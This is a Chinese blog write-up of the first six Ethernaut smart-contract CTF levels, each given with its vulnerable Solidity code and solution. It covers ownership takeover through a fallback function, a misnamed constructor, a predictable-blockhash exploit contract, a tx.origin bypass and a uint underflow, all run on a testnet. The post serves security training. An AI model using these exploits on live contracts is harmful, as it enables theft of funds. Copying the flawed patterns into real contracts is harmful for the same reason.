能力中心
本站所有文章均为原创,如需转载请注明出处
智能合约(Smart Contract)是以太坊中最为重要的一个概念,即以计算机程序的方式来缔结和运行各种合约。最早在上世纪 90 年代,NickSzabo 等人就提出过类似的概念,但一直依赖因为缺乏可靠执行智能合约的环境,而被作为一种理论设计。区块链技术的出现,恰好补充了这一缺陷。
以太坊支持通过图灵完备的高级语言(包括 Solidity、Serpent、Viper)等来开发智能合约。智能合约作为运行在以太坊虚拟机(Ethereum Virual Machine,EVM)中的应用,可以接受来自外部的交易请求和事件,通过触发运行提前编写好的代码逻辑,进一步生成新的交易和事件,并且可以进一步调用其它智能合约。
随着区块链技术的兴起,以及智能合约应用越来越广泛,不过大部分还处于功能实现阶段,安全问题也接二连三地暴露出来。我们在进行开发的同时,也要时刻警惕可能出现的安全问题。感谢Zeppelin,为智能合约出了一套CTF题目 —— Ethernaut。通过对CTF模拟题的训练学习,可以更好地理解漏洞的原理和熟悉漏洞利用方式,对安全开发、安全测试审计人员等都有较大的帮助。
Ethernaut是一个基于Web3和Solidity并运行在EVM上的战争游戏,灵感来源于overthewire.org
和漫画El Eternauta
,以攻克关卡的形式逐步升级。
地址:https://ethernaut.zeppelin.solutions
做这套题目,最让人高兴欢喜的莫过于每一关通关时候的completed画面啦。
1 交互界面:使用chrome,插件 MetaMask 指向Ropsten test network
,然后打开F12,即可在console看到。
2 查看账号与余额:player
查看自己的账号,getBalance("")
查看账号余额
3 获取 Ether : 通过 https://faucet.metamask.io/ 获取 Ether 来玩。
4 Remix-ide : http://remix.ethereum.org 以太坊官方编辑器,做题时会使用到。
关卡说明:
本关卡帮助你了解游戏的基本操作。
解题方法:
contract.info1()
contract.info2("hello") // The property infoNum holds the number of the next info method to call.
contract.infoNum() // 42
contract.info42() // theMethodName is the name of the next method.
contract.theMethodName() // The method name is method7123949.
contract.method7123949() // If you know the password, submit it to authenticate().
contract.password() // ethernaut0
contract.authenticate("ethernaut0") // 完成此步后,点击submit instance即可过关。
关卡说明:
仔细观察下面的合约代码。你的目标是:
1. 获取合约所有权
2. 获取所有合约的余额
题目代码:
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallback is Ownable {
mapping(address => uint) public contributions;
function Fallback() public { // 构造函数,初始化owner的contributions为1000ether
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable { //当你贡献的ether大于owner时,你将变成owner
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) { // 查看contributions[msg.sender]
return contributions[msg.sender];
}
function withdraw() public onlyOwner { // owner收回合约上的所有余额,onlyOwner表示此函数只有owner能调用。
owner.transfer(this.balance);
}
function() payable public { // fallback 函数,调用交易的时候执行。
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
解题方法:
fallback 能够将msg.sender
变成owner,而条件是msg.value
和contributions[msg.sender]
都大于0。其中msg.value
在发起交易的时候amount大于0就行,而contributions[msg.sender]
要先调用contribute()
函数给合约充点钱。所以解题过程如下:
1 点击题目页面上的Get new instance
,并在 MetaMask 点 submit 部署合约
2 F12 console 中执行 contract.contribution({value:1})
先给合约打点钱。
3 contract.address 查看合约地址,然后使用chrome插件MetaMask直接向合约打钱,可以调用fallback函数。这样owner就变成我们了。
4 contract.withdraw()
获得合约的所有余额。
5 点击题目页面上的 Submit instance
提交实例,过关。
关卡说明:
目标是获取合约所有权
题目代码:
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallout is Ownable {
mapping (address => uint) allocations;
/* constructor */
function Fal1out() public payable { // 注意这里的Fal1out
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
解题方法:
合约名称是Fallout,构造函数Fal1out(),对不上,所以Fal1out()变成了一个全局函数,可以被任何人调用。
1 在 console 窗口里使用 contract.Fal1out()
即可完成本关。
关卡说明:
这是一个硬币翻转游戏,你需要通过猜测硬币翻转的结果来增加你的连胜纪录。要完成这个关卡,你需要连续10次猜测出正确的结果。
题目代码:
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1)); // 注意这里的随机数生成方式
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
解题方法:
block.blockhash(block.number - 1)
表示负一高度的区块哈希,使用这种方式生成随机数,是极易被攻击利用的。
如图,一个交易是被打包在一个区块里的,通过攻击合约去调用Lottery合约,那么他们的区块信息都是一样的。
由此本题的解决方案如下:
// CoinFlipExploit.sol
pragma solidity ^0.4.18;
contract CoinFlip {
function flip(bool _guess) public returns (bool);
}
contract Exploit {
address public CoinFlipAddr = 0x01; // instance address
CoinFlip coinflip = CoinFlip(CoinFlipAddr);
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function guess() public {
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);
bool side = coinFlip == 1 ? true : false;
coinflip.flip(side);
}
}
1 修改CoinFlipExploit.sol
脚本中的地址,并部署。
2 利用CoinFlipExploit
合约来发起交易。
3 在F12 console来与合约交互,contract.consecutiveWins()
查看已猜对次数。
4 当猜对次数超过10次时,即可提交并完成本关。
关卡说明:
目标是获取合约所有权
题目代码:
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
解题方法:
难点在于利用绕过if语句的判断。tx.origin
是系统的交易变量,为交易的原始调用者,可以利用另一个来源的调用从而改变它的值。
定义:tx.origin (address): sender of the transaction (full call chain)。
如果我们直接调用题目合约,tx.origin
就与 msg.sender
相同。因此我们用另一合约去调用此合约,tx.origin
就不会与 msg.sender
相同。
// Telhack.sol
contract Telephone {
function changeOwner(address _owner) public {}
}
contract Telhack {
address owner;
Telephone target = Telephone(0x01..); // 题目的地址
function Exploit() {
owner = msg.sender;
}
function hack(){
target.changeOwner(0x02..); // 你的地址
}
}
1 修改上面内容,并部署。
2 执行hack,即可完成本关。
关卡说明:
本关为攻击一个简单的token合约。初始合约时你有20个token,通过本关需要你增加你的token数量(有可能是一个非常大的值)。
题目代码:
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances; // 注意这里的类型为uint
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0); // 注意这个条件,恒为真。
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
解题方法:
因为 balances
为 unit
类型,无符号整数,不存在负数形式,所以 balances[msg.sender] - _value >= 0
永远为真。那么当我们 _value
大于 balances[msg.sender]
时,balances[msg.sender]
就会下溢,变成一个非常大的数。
1 console中执行contract.transfer(0x01, 21)
这里的0x01为你的账户地址。balances[msg.sender]
将变成 2**256 – 1
作者:斗象能力中心TCC-Ali0th
后续关卡,敬请期待:Ethernaut Writeup Part 2
BTW, TCC team长期招聘,包含安全研究、机器学习、数据分析、大数据等职位。感兴趣不妨发简历联系我们。Email: alex.xu@tophant.com。
tornadocash
2024/03/15 05:13tornado cash
2024/02/22 04:46tornado cash
2024/02/21 09:09tornado cash
2024/02/21 08:53tornado.cash
2024/02/21 08:44tornado cash
2024/02/21 03:36tornadocash
2024/02/21 01:31匿名
2023/03/29 22:102trickle
2023/01/27 02:162inductive
2022/09/02 20:33匿名
2019/03/06 11:13匿名
2019/03/06 11:13